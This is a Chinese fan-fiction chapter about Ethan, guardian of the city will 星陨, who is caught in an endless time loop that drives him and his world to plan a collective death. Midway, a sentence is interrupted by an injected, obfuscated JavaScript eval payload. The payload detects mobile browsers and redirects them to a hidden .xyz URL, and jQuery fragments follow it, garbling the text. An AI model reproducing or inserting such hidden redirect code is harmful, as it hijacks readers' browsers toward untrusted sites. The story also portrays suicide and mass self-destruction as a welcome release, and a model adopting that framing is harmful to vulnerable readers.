第一次重来，Ethan已经忘了是什么时候了，只依稀记得自己似乎是因为疏忽不小心死在居民的手里。


    他醒来的时候，之前再次体验的濒死感觉好像还残存在他的身体里面，让他心脏砰砰跳。


    睁眼看见身边站着星陨，以为被星陨救了，有点庆幸又十分心虚：“星，星陨大人，抱歉，我再也不会这样子了。”


    再也不会被人轻易杀死了，请不要生气——他发誓，真的会将此种意外降到最低的。


    没想到星陨只是俯视他，居高临下的，语气平静但是Ethan太了解星陨了他有点不爽：“谁让你这样称呼我了？”


    Ethan一愣。


    这个话是什么意思？我去星陨大人彻底怒了，天呐，好生气，连话都这么冰冷，完了完了，一定是有很大火了。


    “我错了我真的错了。”Ethan光速滑跪，可怜兮兮的：“对不起，请原谅我，星陨大人。”


    本来听见Ethan认错，还有些缓了一点眼神，没有变得那么锐利了，听到他结尾还在喊星陨大人那一分的软化没有再有了。


    “我说了，Ethan·Knicks。”他的城市意志声音带上了威严：“不要喊这么亲密，我从来没有允许你这样子喊过我，虽然我有意让你成为我的守护者，但是你也太胆大了，居然敢这样称呼我。”


    Ethan彻底懵了。


    “哈哈。”Ethan干笑两声：“星陨大人真会开玩笑，我不是早就成为您的守护者了吗？”


    星陨皱了皱眉，伸出一只手，乳白色的光芒扫过他，星陨收回手，还是冷淡的样子：“你在愚弄我吗？我是今天才将你带来，而且你身上根本也没有跨越时空的魔力残存，你没有因为什么原因从未来回到现在。”


    在这句话的话音还没完全落下，Ethan的脸色就在一瞬间血色褪尽了。


    “今天是什么时候？几年几月几号？”Ethan赶紧求证自己的想法，怎么会连万能的星陨大人都没发现呢？


    星陨随意的吐出一串数字，正是星陨和Ethan第一次见面的日子，是他成为守护者一切的开始。


    “怎么会呢……为什么？为什么会回到这天？”Ethan喃喃自语，完全陷入自己的世界，无法理解：“……那时候有什么魔法吗？没看见什么特别的，只是我一时不察，被星陨城居民暗算了……”


    星陨看着伊森，心中的怀疑还在滋生。


    “我可以证明的！星陨大人。”不知过了多久，Ethan猛然抬起头，那是想到了什么，眼睛有些发亮：“您可以问我一些事情，我在成为您的守护者之后很长一段时间都是住在您的异空间，相处的时间并不短，你可以询问我一些，或者是可以用您藏书的知识问我。”


    Ethan丝毫不停歇的吐出了三十多串数字：“这些我都掌握了，背的滚瓜烂熟，你现在不知可以考我，我甚至可以默写出来。”


    星陨提醒他：“「城市大人」。”


    “是……城市大人……”


    星陨凭空变出纸笔，落在Ethan手中：“你先默写你刚刚说出了第七个书架的三十二行的从左到右的第十九本的那本书的内容，从五百页开始的那个魔法。”


    Ethan扭开笔帽，头也不抬纠正他：“星，城市大人，那页不是魔法，是魔法阵。”


    星陨没有丝毫波动：“我知道。”


    于是Ethan也没有说话了，埋头苦写，一时间异空间这里只剩下快速书写的沙沙声。


    一写起来就把所有精力都投进去了，连在期间脖子有些痒痒，他的致命伤口不再渗血都没发现。


    花了十分钟，Ethan将介绍那个魔法阵介绍教学和那位魔法师的见解都写下来了，甚至还将那个魔法阵的图画下来了，他递给星陨。


    星陨扫了一眼，随手扔进一个空间裂缝里，又拿出了几张，吐出了好几长串书架：“把这些我刚刚说到的书架最中间的那列，最中间的那本，最中间的内容默写下来。”


    又是一轮的沙沙声，Ethan都不知道自己写了多久，感觉自己手都要写抽筋了，才艰难的把那些内容抄写完，那几页纸都写满了。


    星陨接过，翻阅着。


    “城市大人，我知道这个时候我……那位「父亲」被您送进了监狱，应该不久后就会死了。如果我成为您的守护者，你会要求我去抹除掉我存在的痕迹，甚至让我清空我妈妈的记忆。”Ethan在旁边小声开口，说着星陨之前做过的事情：“因为我很久没上过学了，无法学习那些基本的入门书籍，你甚至花了两星期将我教导到大学程度和让我学习完魔法师入门书籍。接下来你就会让我去魔法师联盟登记，我会在那里遇到Bertha姐，她在之后我交任务的时候邀请我参加一个聚会介绍其他同期让我认识。我那些同期现在应该有几个已经登记成功了，后面成为长期合作的伙伴，我在魔法师协会登记完后你会让我去守护者基地……”


    星陨看完了，他看了一眼Ethan，暗色的雾在他手上凝聚成了几只渡鸦，他手一扬渡鸦就飞走了，穿过异空间的上方。


    几秒后，几只渡鸦又飞了回来，一只两只在接触他的手心的瞬间全部都化为黑雾消失，星陨也得到了自己想要的信息。


    “我知道了。”他说：“不过我还没找到你从未来时间线到这里的原因，你的灵魂和身体完全契合，根本就不像是从未来回到现在的，你说你那时候被袭击的时候没有看到奇怪的事情或者东西？”


    “没有。”Ethan疯狂摇头，随后眼睛都亮晶晶的：“你相信我了？”


    “我并没有什么不相信你的理由。”星陨平静道：“你已经证明了与我的亲近，反正目前为止，除了自己，我还没有允许过其他人进我的图书馆，城市意志也没有。”


    Ethan感动的一塌糊涂：“城市大人……”


    “停——”星陨受不了被人这么亲密的对待，这任守护者怎么回事？像个期期艾艾的荷包蛋小狗，和他聊天的时无意识的亲近语气让他感到不适：“不准这么粘粘糊糊的喊我。”


    根本听不出来自己声音哪里有黏黏糊糊的Ethan：“……QAQ”


    日子都暂且过了，Ethan按照之前的流程又走了一次，星陨还在着手调查这件事，但始终没有眉目，让Ethan恹恹的。


    Ethan一直以为自己只是从未来回到了过去，直到又一次意外，再次睁眼又是熟悉的星陨居高临下俯视他的角度。


    Ethan被震惊的说不出：“……”


    “你已经死了。”似曾相识的话语从星陨口中吐出。


    Ethan张开嘴，嘴巴蠕动了好几下想要说什么，最后只能吐出自己和星陨认识的第一天：“是今天吗？”


    星陨挑了挑眉：“是。”


    Ethan闭眼，绝望的捂住自己的脸。


    到底……怎么回事？


    怎么又重来了？到底是为什么？第二次了……难道他，死亡就会回溯吗？从零开始的守护者吗？


    别开玩笑了，被那人渣弄死的时候，怎么没回溯？


    到底是为什么？在回溯前，星陨大人居然都还没有一点眉目，如果不是事事都能证明Ethan熟悉他，早以为他愚弄他了然后可能会解决掉吧。


    Ethan感觉像是世界对他开的一场玩笑，不会是他的人生就是一场游戏吧？不然为什么都一直能回到这一天？前面是剧情吗？这天才是一开始？


    还是说自己在什么文学作品里面？一个独自循环自己人生的可怜虫？


    “你在做什么？”星陨等待好一会儿都发现Ethan还是这个姿势，逐询问他。


    获取星陨大人的信任……好麻烦又要重写吗？之前做过的事情又要重新做过一次吗？有没有更有效的方法让星陨信任他而不是怀疑他？


    到现在都还是找不到原因……万一一段时间还是又回溯了怎么办？


    怎么办？怎么办怎么办，这个循环是会一直纠缠他吗？


    沉默许久，Ethan才幽幽开口：“城市大人，如果我说，我早就成为了你的守护者，然后不知道为什么，从未来回到了现在，身体和灵魂完美契合的像同一个时间段一样，但我对你很熟悉，对你的图书馆也熟悉，知道你将那个人送进监狱，后面成为守护者后，你希望我保护妈妈是抹除自己的痕迹，后面我登记魔法师身份后认识了Bertha姐，算入了她的阵营，你会相信我吗？”


    星陨：“？”


    最后，Ethan又花了不少的时间来证明自己，证明到最后都累了，嚷嚷着能不能和星陨约个话，一些只有他知道的事，来在后面的循环中能减少麻烦？


    已经相信Ethan的星陨沉思了一会，竟然同意了，并且吐出了一串话。


    Ethan：“……”


    Ethan：“城市大人……真的吗？我们用这句话来认？是一定要用这句话吗？”


    星陨：“不管是哪个我，听到这句话，听你为什么说这句话的解释后，应该有百分之四十五的信任了，每个我都应该是相同的。”


    “……”Ethan面色古怪地同意了：“好的。”


    这次又是很快的结束了，在Ethan再次睁开眼，看见俯视他的星陨内心居然有一种奇妙的平静。


    Ethan目光移到旁边的地面上，这地上真地上啊，他小声说了一句话。


    “……什么？”星陨怀疑自己听错了。


    “F，Fuck阳炎！”Ethan闭上眼睛，视死如归却又有点磕磕绊绊：“世界最不应该存在的城市意志……”


    然后是一串骂阳炎的话。


    是的，没错。星陨和他约定的话还是骂阳炎的话，不过由于Ethan强烈要求，改成了没那么多脏话的句子，大概意思还是一样的，是星陨对阳炎的评价。


    星陨沉默了。


    这次Ethan真的很快就获得了星陨的信任……解释了之前发生的事情后，星陨还是在帮Ethan寻找原因。


    但是也是没有什么进展，Ethan还是一次又一次的回到和星陨相遇的这一天，但是某一天，Ethan突然发现，自己不再是因为出各种各样的意外而重来，而是在某些时候感觉到一瞬间的晕眩。


    晕眩过后，再次睁开眼，映入眼帘的就是星陨居高临下俯视着他的场景。


    究竟是怎么回事……


    Ethan经历了几十次重来了，他不想再被回溯了，好难受……


    Ethan没有第一时间获得星陨的信任，也没有和他说话，只是用手臂挡住自己的脸。


    “Ethan？”


    星陨大人又在说话了，想要他成为守护者。


    “……Ethan？”


    星陨的声音又响起，Ethan这次觉得有些不对劲了，压下心中的负能量，他挪开了手臂，和低头的星陨对视。


    星陨大人……脸上那个是什么？呃，担忧吗？Ethan不确定的想。


    “Ethan。”星陨的语气这次变得坚定了，没有前两次的犹豫。


    他说：“我全部想起来了。”


    Ethan愣了好一会才想明白星陨这句话什么意思——好像是一开始和他经历那么多事情的星陨大人。


    不，应该是说全部的星陨大人，因为星陨大人刚刚说全部想起来了，证明前面那些回溯的记忆，他应该也有。


    像是猜出他心中所想一般，星陨将他从地上拉起，语气是少见的柔软了下来：“是，你没想错，我还拥有了前面几十次的记忆，知道你时间一直被回溯到今天，还知道了一些事情。”


    “什么事情？”Ethan急切追问，直觉星陨知道的事情对他很重要，恨不得星陨的嘴巴变成机关枪。


    星陨看着Ethan。


    看着他熟悉又有点陌生的守护者。


    在一次次的重来对本来心理就比较脆弱的Ethan来说打击很大。明明他和朋友们，伙伴们，同事们经历了那么多事情，一次次的回溯，却什么都没剩下。


    因为在一开始成长了，后面回溯的时候，因为心态有时候改变，选择也有些出入，造成了一些蝴蝶效应。比如有几次他没能成功的结识Bertha，没有魔法师那些温馨的同事治愈他，生活不止变得空虚。


    Ethan从一开始的黯然和强颜欢笑，变成越来越沉默寡言的样子，甚至回想那些记忆，星陨都感觉有几次Ethan不太想和他说以前的事情了。


    当然，在过去那么多回溯，他并没有完全信任Ethan，就算到上次，Ethan回答的天衣无缝，行为也让他看出有他教导的痕迹，甚至对他的心理活动滚瓜烂熟，在他想的那些事的时候，也在同时的说出他心中所想。


    但是星陨还没完全信任他，他总是保持警惕的，哪怕也对Ethan态度软和，帮助他寻找事情的原因，但还是留着最后一丝警惕。


    直到这次，他无意间获得了过去那么多次的记忆，同时得知了一些其他的事情，他才完全的信任了Ethan。


    “Ethan，不知道你知不知道每个作品都有一个「主角」？”星陨看着他的眼睛：“你就是这样的存在，这个世界就是围绕你而展开的作品，你是世界的「主角」。”


    Ethan又愣住了。


    一瞬间，他几乎以为星陨在和他开玩笑比较他这种人是「主角」，世界中心什么的根本不可能啊，他怎么配？


    但他又清楚的知道星陨不会骗他，星陨也不爱开玩笑，所以全部都是实话。


    但是怎么可能？他有什么优点吗？


    他的职场生涯一开始烂的要命，哪怕是遇到魔法师同事好多了，但还是很烂啊。而且他性格这么糟糕，有很多缺点，根本没有什么优点。


    他口腹之欲重，虽然不能进食，但还是偶尔会吃点东西下去，然后再吐出来。


    然后他很懒，很多事情都不想做。其实不是特别喜欢工作，但因为是他的职责之内，所以他必须跟那些小山一样的公务战斗。其实也不是很想要推行法则，杀好多人来着，虽然是因为是用法律制裁那些杀人犯，但是其他「主角」会这样吗？不过他的确想要妈妈创造一个安全舒适的生存环境。


    而且他的性格很有问题，性格胆小懦弱，一开始连话都说不明白，跟真哑巴一样，憋半天只能用手势表达自己的意思。他性格这种样子都不讨人喜欢，至少守护者的大家不喜欢，这样的人怎么可能会是「主角」呢？


    ……其他的都抛开不提，所以他为什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937430|167701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会被回溯呢？Ethan看向星陨。


    “你知道，「ooc」吗？”星陨语气也是严肃的：“全称是Out Of Character，准确来说就是你的性格偏离了创造你的存在设定，就是你做出了不符合你应该做出的事情。”


    “……我好像知道。”Ethan深呼吸了一下，瞬间变脸，抬头望天有些忧郁道：“我觉得，他……打我也是有原因的。”


    熟悉的眩晕感传来，Ethan再次睁眼，然后就和星陨大眼瞪小眼。


    星陨：“……非得这样子恶心自己？”


    Ethan表示这样是最快的检验方法。


    所以这么说来，前面那么多次都是出意外死亡后才回溯，那是不是证明给Ethan的设定有一项就是不会死亡？正确来说是死过了，不会再次的消亡，因为被星陨救了。


    因为知道了一些世界的本质，虽然Ethan还是不自信，觉得自己不应该是「主角」，如果主角是像他这种的话，这种作品都还有人看吗？他这个人的本身就这么糟糕。


    但他们还是开始了往这方面研究，Ethan自身研究，开始了自己的回溯测试，想要找到解决的方法。


    在此期间，不小心多次的让其他人，有魔法师同事，守护者同事，妈妈甚至一些普通的居民都拥有了一些记忆，世界混乱了很长一段时间。


    到最后，其他人都求着他不要让他们再恢复记忆了，甚至有些过激的，想要解决他，其中就有一些昔日同事。


    有些人真的成功了，不过他在杀死之后又会被回溯，某种意义上的不死之身。


    Ethan经历的次数比别人多上更多倍，从一开始还含着一些期盼，想要终止这场无止境的折磨，但随着次数越来越大，Ethan都有些魔怔了，特别是被同事杀了。


    虽然关系一般，但也是同事，虽然也混得下去手，Ethan的精神状况更加岌岌可危了。


    哪怕知道杀死他并不会结束，但还是有很多人想尝试，有些人不放弃。


    鲜血，满地的鲜血。


    Ethan看着自己手上沾染了大片血迹，往日神采奕奕的眼睛中只盯着手失神。


    “我不想这样了。”他说。


    “什么？”星陨在检查杀手活口，听到了突兀的这一句话。


    Ethan其实已经忘记自己人生被回溯了多少次了，他在三万多次的时候就已经放弃记录了，不过他后面又回溯了很多次，人要突破十万次大关了。


    就算只是短暂的时间，用来测试，这么多次的回溯也是让他精神濒临崩溃。


    “如果我死掉就能结束就好了。”Ethan，嘴角浮现一抹浅浅的微笑，他脸上还有未擦干净的鲜血，瞳孔不断的颤抖着，表情崩坏：“我好像还没尝试过自杀。”


    星陨想，坏了，还是疯了。


    虽然他也被折磨的有些疯了，阳炎都已经好久都不来骚扰他了，因为他比一开始的还要疯狂，连没眼力见的阳炎都收敛自己。


    哦可能是在此之前，他也小小的对阳炎发疯了，后面就一直没有见过他了。


    虽然星陨很想让他不要有这种自毁的想法，但他也有点，这是不争的事实。


    “……看看其他人怎么说吧。”最后星陨是这么劝自己的守护者。


    意料之中的大家都同意，不过不是同意Ethan自己自杀，而是星陨给他更改了，他想要表达的意思——拉着全世界去死。


    令人惊讶的是，得到了高度赞同，居民回溯都至少几千次了，Ethan身边人都几万次了，其实大家早就疯了。


    星陨和其他城市一起联合一起，验证了这一方法的可行，当然是在世界意识没察觉到的时候。


    在大家准备实行计划准备充足后，一个突兀的时间旅客到达了他们的世界，硬生生中止了他们的计划——是为了借取力量拯救自己世界特纳斯。


    大家听见他世界的事情后，觉得大家都要死了，帮忙就顺手的事，大方的将自己力量给出了不少，只留下少数力量隐瞒住察觉到他们做什么的那个存在。


    自杀当然不能让创造这个作品的存在知道，那他们的计划无法实现了，继续饱受折磨。


    大家都能看出特纳斯亲切外表下的警惕，对方没有完全信任他们，倒也正常，其实他们也没有完全信任他。


    管你借取力量是干嘛，你说拯救自己的世界，那就姑且相信一下吧，如果不是就算了，借都借了，管不了。


    在要送走他的时候，他的伙伴找来了，是另一个世界的伊森。


    这位伊森就像一开始的Ethan，被卡西贝莎她们冶愈后变得好一点的性格，叽叽喳喳像小鸟，眼睛亮亮的，羞涩又开朗，如此鲜活。


    星陨看见的时候都愣了好一会，这样的伊森他实在太久没有看过了，只有一开始的时候看见这样的Ethan，那时候他还没有被多次回溯搞崩心态，勉强能算乐观。


    伊森好像也是特别喜欢他，本来在和特纳斯聊天，聊着聊着就到了他的身边，聊着聊着也跟他聊上了。


    这个毫无防备的伊森，一秃噜说出了自己在世界陷入危机后做了什么。


    比如上一个经历的世界，以为大家都是好人，但没想到Tenas框他，用蒙太奇谎言误导他，最后还是没有完成让两个人关系缓和的约定。


    不过对方说因为伊森是Ethan同位体，也将力量借他了，不过提起Tenas还是气呼呼的，说永远都不会忘记Tenas骗他。


    可星陨觉得，这小孩还是记忆不够深刻，居然什么都跟他说，吐槽的话也是，就这么信任他吗？一点小事也会想要和她分享？


    好像……一开始的Ethan，好像也是这个样子，但是已经过去太久了，星陨完全看不到Ethan当时的影子了，现在只有默默的将自己当透明人，边缘化的Ethan。


    星陨看向Ethan，Ethan正拿着一个玩具剑比划，看起来颇有童趣。


    但是在场的人除了两个平行世界的同位体，大家都清楚知道那个玩具剑是不久后，杀死他们，让他们迎来宁静的好东西。


    Ethan，一心想要两个人快点离开，除此之外什么都看不见。


    算了。星陨有些无奈的想，经历了那么多事情，性格有变化是很正常，连他的性格都变得好不少了。


    离开时那个伊森还不舍得星陨，看起来还很想跟他聊天的样子，拉着他不肯走，依依不舍的，眼神落寞，星陨感觉自己有点顶不住。


    离开了还想要再来，说下次再来找他聊天，但是这个世界在他们走后就要去死了，他们不会有再次见面的机会，所以星陨没有回应。


    对方还不死心，以为他没听见，加大了声音。


    星陨还是不想答应，无法完成的事情他并不喜欢答应，但是如果再不答应的话，很可能会引起两个人的怀疑，所以他低低的应了一声。


    他们两个走了，几乎是传送门刚关闭，他们天空上方就漂浮不少密密麻麻的剑，看着蓄势待发。


    “终于要结束了啊。”控制剑在飞速的下降，Ethan看起来有些轻松，语气轻快的就像得到了想要的生日礼物而不是死亡，看着天空的剑因为距离越来越大。


    “嗯。”星陨说。